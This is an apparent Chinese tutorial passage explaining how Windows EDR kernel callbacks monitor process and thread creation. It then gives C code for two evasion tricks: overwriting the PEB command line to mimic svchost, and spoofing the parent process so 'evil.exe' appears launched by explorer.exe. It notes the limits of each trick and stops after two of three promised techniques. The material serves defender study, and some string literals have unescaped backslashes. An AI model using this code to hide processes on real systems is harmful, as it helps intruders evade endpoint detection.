在 Windows 安全领域,不少开发者或安全研究者会遇到一个问题:自己编写的程序(甚至是用于测试的样本)一启动就被 EDR(端点检测响应)工具拦截。这背后,EDR 的“火眼金睛”并非凭空而来,而是依赖 Windows 系统赋予的特殊权限 —— 回调机制。今天我们就从原理到实践,拆解 EDR 的工作逻辑,以及常见的规避思路,最后再聊聊现代 EDR 的防御升级。
一、EDR 的“眼线”:回调例程如何监控进程?
很多人疑惑,为什么 EDR 能精准捕捉到刚启动的程序?核心原因在于 Windows 为安全软件开放了“通知接口”,也就是 回调例程(Callback Routine) 。我们可以用一个通俗的比喻理解:如果把 Windows 系统比作一座工厂,你的代码是工厂里的工人,EDR 就是工厂派驻的安全检查员,而回调例程就是检查员的“固定岗哨”。
只要工厂里发生关键事件(比如新工人入职、新生产线启动),检查员就会第一时间收到通知 —— 这就是 EDR 能“提前拦截”的关键。
1.1 回调例程的工作原理:从注册到通知
Windows 系统中有多个“关键通知点(Notification Points)”,EDR 的驱动程序会通过系统 API 向这些节点注册回调函数。以最核心的“进程创建通知”为例,其简化的实现逻辑如下:
// 定义进程创建通知的回调函数格式
typedef VOID (*PCREATE_PROCESS_NOTIFY_ROUTINE)(
HANDLE ProcessId, // 新进程 ID
HANDLE CreatorProcessId,// 父进程 ID
BOOLEAN Create // 是否为创建操作
);
// EDR 驱动向 Windows 注册回调
PsSetCreateProcessNotifyRoutine(
EdmProcessNotifyRoutine, // EDR 自定义的回调函数
FALSE // 设为 FALSE 表示“注册”,TRUE 表示“删除”);
当你执行 CreateProcessA 或CreateProcessW创建新进程时,Windows 会自动触发 EDR 注册的回调函数,并传递 3 类关键信息:
- 新进程的 ID 和父进程 ID;
- 进程在磁盘上的完整路径;
- 进程启动时的命令行参数。
更关键的是,这个通知发生在 进程实际执行代码之前—— 相当于程序还没“睁开眼”,就已经被 EDR“扫描全身”了。
1.2 除了进程,EDR 还监控线程:更隐蔽的“岗哨”
如果说“进程创建通知”是 EDR 的第一道防线,那“线程创建通知”就是第二道更隐蔽的监控。毕竟很多高级攻击不会创建新进程,而是在现有合法进程中注入线程(比如在 explorer.exe 中运行恶意代码),此时线程回调就能发挥作用。
线程回调的注册逻辑与进程类似,只需通过 PsSetCreateThreadNotifyRoutine 注册自定义函数,当任何进程创建新线程时,EDR 都会收到ProcessId(所属进程 ID)和ThreadId(线程 ID)的通知 —— 这意味着即使不新建进程,单纯的线程注入也会被 EDR 捕捉。
二、3 类经典 EDR 规避方案:从“掩人耳目”到“借壳生蛋”
了解了 EDR 的监控逻辑后,安全研究者会针对性地设计规避方案。这些方案的核心思路一致:利用 EDR 的“观察盲点”,修改其获取的关键信息,或绕开其监控节点。以下是 3 类最常见的实践方案,均附核心实现逻辑。
2.1 命令行篡改:修改 PEB 中的“身份信息”
EDR 获取进程命令行的核心来源,是 Windows 的 进程环境块(PEB,Process Environment Block) 。PEB 中存储了进程的关键参数,其中 RTL_USER_PROCESS_PARAMETERS 结构体的 CommandLine 字段,就是 EDR 读取的“命令行原文”。
规避思路很直接:在进程启动后,修改 PEB 中 CommandLine 的内容,让 EDR 后续读取时看到虚假信息。核心代码如下:
#include <windows.h>
#include <stdio.h>
// 定义 PEB 相关结构体(简化版)typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
// 省略其他字段...
UNICODE_STRING CommandLine; // 待修改的命令行字段
} RTL_USER_PROCESS_PARAMETERS;
int main() {
// 64 位系统中,通过 GS 寄存器偏移 0x60 获取 PEB 地址
PPEB peb = (PPEB)__readgsqword(0x60);
RTL_USER_PROCESS_PARAMETERS* params = (RTL_USER_PROCESS_PARAMETERS*)peb->ProcessParameters;
// 将恶意命令行伪装成系统进程命令行
wcscpy_s(params->CommandLine.Buffer,
params->CommandLine.MaximumLength,
L"C:\Windows\System32\svchost.exe -k netsvcs");
return 0;
}
注意:这种方案有明显局限性 —— 现代 EDR 会在回调触发时(进程创建初期)就记录命令行,后续修改 PEB 的操作“为时已晚”,仅对部分旧版本 EDR 有效。
2.2 父进程 ID(PPID)欺骗:让恶意进程“认对爹”
EDR 在判断进程是否可疑时,会关注“父进程身份”。比如一个 notepad.exe 突然创建了一个未知进程,EDR 会标记为高风险;但如果这个未知进程的父进程是explorer.exe(系统桌面进程)或svchost.exe(系统服务进程),就会显得“合理”很多。
PPID 欺骗的核心是:创建恶意进程时,通过 Windows 的扩展启动属性,将其“父进程”伪装成合法系统进程。核心代码如下:
#include <windows.h>
#include <tlhelp32.h>
// 辅助函数:根据进程名获取进程句柄
HANDLE GetProcessHandle(const char* targetName) {HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32A pe = {sizeof(pe)};
while (Process32NextA(hSnapshot, &pe)) {if (strcmp(pe.szExeFile, targetName) == 0) {CloseHandle(hSnapshot);
return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
}
}
CloseHandle(hSnapshot);
return NULL;
}
int main() {STARTUPINFOEXA siex = {0};
SIZE_T attrSize = 0;
PROCESS_INFORMATION pi = {0};
// 初始化进程属性列表
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(attrSize);
InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &attrSize);
// 获取 explorer.exe 的句柄(伪装成父进程)HANDLE hParent = GetProcessHandle("explorer.exe");
// 设置“父进程”属性
UpdateProcThreadAttribute(
siex.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, // 关键属性:父进程
&hParent,
sizeof(HANDLE),
NULL,
NULL
);
siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// 创建恶意进程,使用扩展属性(伪装父进程)CreateProcessA(
"C:\test\evil.exe",
NULL,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT, // 启用扩展启动信息
NULL,
NULL,
&siex.StartupInfo,
&pi
);
// 释放资源
CloseHandle(hParent);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
free(siex.lpAttributeList);
return 0;
}
这种方案的优势是“伪装度高”,EDR 看到的父进程是系统合法进程,初期不易触发告警。但如果后续进程行为异常(比如连接恶意 IP),仍会被 EDR 的行为分析捕捉。